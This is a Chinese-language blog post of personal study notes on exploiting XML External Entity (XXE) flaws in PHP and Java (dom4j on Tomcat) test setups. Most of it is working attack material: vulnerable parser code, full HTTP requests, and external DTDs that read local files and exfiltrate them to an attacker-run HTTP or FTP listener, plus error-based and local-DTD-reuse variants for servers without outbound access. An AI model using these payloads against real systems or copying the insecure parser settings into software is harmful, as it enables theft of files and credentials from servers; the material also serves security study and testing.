XXE的利用方式总结
0 条评论前言
xxe的原理网上已经很多了,但是有时候实战时会遇到各类问题,这里简单总结下自己的学习记录,测试环境主要是java与php
正文
基础原理部分网上的相关内容比较多了,这里就不在再写了,有兴趣的可以在网上搜寻。下面主要介绍xxe的基本利用方式以及不同情况下的利用。
1、可回显注入
php版本
<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml = simplexml_import_dom($dom);
$data = $xml->data;
echo $data;
echo "\n";
我们发送如下数据包
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY fileData SYSTEM "file:/./usersa.txt">
]>
<test>
<data>&fileData;</data>
</test>
可成功读取当前文件夹下的users.txt
但是我们列目录时,出现报错:
java版本
为了方便环境创建,我这里使用的是tomcat,xml组件使用的是dom4j
创建的jsp如下:
<%@page import="org.dom4j.Document" %>
<%@page import="org.dom4j.DocumentException" %>
<%@page import="org.dom4j.Element" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.dom4j.io.SAXReader" %>
<%
InputStream xml = request.getInputStream();
SAXReader sax = new SAXReader();
Document doc = sax.read(xml);
Element root = doc.getRootElement();
String data = (String) root.element("data").getData();
out.println(data);
%>
可回显部分相似
java环境中是可以成功列出目录的
2、无回显方式
php版本
常见的
我们创建一个外部dtd
<!ENTITY % file SYSTEM "file:/./test.txt">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://127.0.0.1:3333/?content=%file;'>">
python 启动一个http server
python -m http.server 4444
访问包如下:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1:4444/blind.dtd">
%remote;%payload;%send;
]>
<convert>
<data>123</data>
</convert>
成功接收到test.txt中的内容
但是如果文件中有特殊字符将出现报错,
php中可以使用php伪协议,将内容Base64加密来读取,外部dtd使用
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=F:/CodeProject/php/XXEStudy/users.txt">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://127.0.0.1:3333/?content=%file;'>">
可以成功读取
当然 如果不想两次出网的话,我们可以使用参数实体的方式
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % locall '
<!ENTITY % file SYSTEM "file:/./test.txt">
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:3333/%file;'>">
'>
%locall;
%payload;
%send;
]>
<test>
<data>123</data>
</test>
java环境
其余相似,但是在使用一次出网无回显xxe时,出现报错
也就是说DOM4j下在内部子集中无法使用参数实体。
那么java下如何查看特殊字符呢,可以使用FTP协议
使用filezilla 搭建一个ftp服务
需要创建一个匿名用户
请求包如下:
POST /examples/xxeJava.jsp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=CCC97DDFAFA1E1BB1E8A19EBE23B577E
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Content-Type: text/xml
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 152
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1:4444/blind.dtd">
%remote;%payload;%send;
]>
<convert>
<data>123</data>
</convert>
外部dtd文件如下:
<!ENTITY % file SYSTEM "file:///">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'ftp://192.168.0.100:21/%file;'>">
可惜的是java高版本就对ftp输入进行验证了,无法传入\n等字符,可以作为一个备选方案。
我这里测试了jdk8u66是没问题的,试了jre1.8.0_152、8u202等等就不行。
3、读取xml文件等包含特殊字符文件
php版本
php可以用伪协议来读取,这里就不说明了。
java版本
如果读取的是个xml文件,则不会显示,且如果含有未闭合的xml标签,还会报错。
比如,users.xml文件如下:
<users>
<username>admin</username>
<password>admin</password>
</users>
xxe数据包如下
POST /examples/xxeJava.jsp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/xml
Content-Length: 184
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY fileData SYSTEM "file:/F:/CodeProject/php/XXEStudy/users.xml">
]>
<test>
<data>&fileData;1231</data>
</test>
此时无法输出xml文件内容
那么怎么输出呢,可以使用CDATA部件,在CDATA部件的所有内容都会被XML解析器忽略,(之前试过一个组件<!---->
也可以,但是dom4j并不行。
<![CDATA[]]>
但是上面说了,在内部子集中无法使用参数实体,所以得外部引用
外部实体如下:
<!ENTITY % start "<![CDATA[">
<!ENTITY % data SYSTEM "file:/F:/CodeProject/php/XXEStudy/users.xml">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY filedata '%start;%data;%end;'>">
请求包如下:
POST /examples/xxeJava.jsp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/xml
Content-Length: 195
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1:4444/xmlread.dtd">
%remote;
%all;
]>
<convert>
<data>&filedata;</data>
</convert>
成功返回,
4、报错回显
当环境有报错时,可以借着报错将结果输出,比如访问一个并不存在的文件,会出现文件不存在的错误,此方法也可将包含特殊字符的文件报错读出。
php环境
参照p牛的payload
POST /xxetest.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/xml
Content-Length: 363
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % locall '
<!ENTITY % file SYSTEM "file:/F:/CodeProject/php/XXEStudy/users.xml">
<!ENTITY % payload "<!ENTITY &#x25; error SYSTEM 'file:/%file;'>">
'>
%locall;
%payload;
%error;
]>
<test>
<data>123</data>
</test>
java环境
上面的payload是不适用与java环境的,在java中需要再外部引用,外部dtd如下:
<!ENTITY % data SYSTEM "file:/F:/CodeProject/php/XXEStudy/users.xml">
<!ENTITY % all "<!ENTITY % error SYSTEM 'file:/%data;'>">
请求包如下:
POST /examples/xxeJava.jsp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/xml
Content-Length: 195
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://127.0.0.1:4444/error.dtd">
%remote;
%all;
%error;
]>
<convert>
<data>123</data>
</convert>
5、内部子集中无法使用参数实体的利用
在前面,java的利用都需要一个条件,那便是出网,如何不出网的利用呢,找到一个目标服务器上已存在的dtd文件,然后加载它,通过dtd的继承关系来修改其中的实体。参考:https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
window环境下可以利用,C:\Windows\System32\wbem\xml\cim20.dtd
其内容如下
报错注入
数据包
POST /examples/xxeJava.jsp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/xml
Content-Length: 479
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY % file SYSTEM "file:/F:/CodeProject/php/XXEStudy/users.xml">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!ENTITY test "test"'>
%local_dtd;
<convert>
<data>123</data>
</convert>
可回显读取xml文件
数据包如下:
POST /examples/xxeJava.jsp HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: text/xml
Content-Length: 505
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE convert [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:/F:/CodeProject/php/XXEStudy/users.xml">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY filedata '%start;%file;%end;'>">
<!ENTITY test "test"'>
%local_dtd;
%all;
]>
<convert>
<data>&filedata;</data>
</convert>
参考
https://tttang.com/archive/1716/#toc__11
https://articles.zsxq.com/id_85l86vkeu8zf.html
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/